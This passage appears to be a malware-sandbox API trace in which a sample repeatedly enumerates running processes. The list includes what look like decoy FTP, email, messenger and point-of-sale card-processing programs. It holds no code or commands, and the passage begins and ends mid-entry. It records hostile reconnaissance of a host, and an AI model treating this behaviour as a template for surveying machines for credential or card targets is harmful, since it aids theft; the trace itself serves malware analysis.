hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.807] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.809] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.810] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.813] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0275.815] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.818] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.820] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0275.822] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0275.824] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0275.826] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0275.828] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0275.830] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0275.832] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0275.834] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0275.839] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0275.841] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0275.844] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0275.847] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0275.850] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0275.853] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0275.855] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0275.858] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0275.860] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0275.862] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0275.864] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0275.871] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0275.874] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0275.877] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0275.880] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0275.884] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0275.887] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0275.889] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0275.892] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0275.895] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0275.946] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0275.949] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0275.951] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0275.953] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0275.956] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0275.958] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0275.960] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0275.962] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0275.964] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0275.967] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0275.969] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0275.971] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0275.973] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0275.975] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0275.978] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0275.980] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0275.982] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0275.984] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0275.986] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0275.988] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0275.991] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0275.993] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0275.995] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0275.999] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0276.001] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0276.003] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0276.006] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0276.008] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.010] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.012] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.014] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0276.016] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0276.018] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.020] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.023] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.025] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.027] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0276.029] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.031] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.033] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0276.035] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0276.038] CloseHandle (hObject=0x1978) returned 1 [0276.038] Sleep (dwMilliseconds=0x64) [0276.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0276.102] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.110] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.112] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.115] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.117] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.120] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.123] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 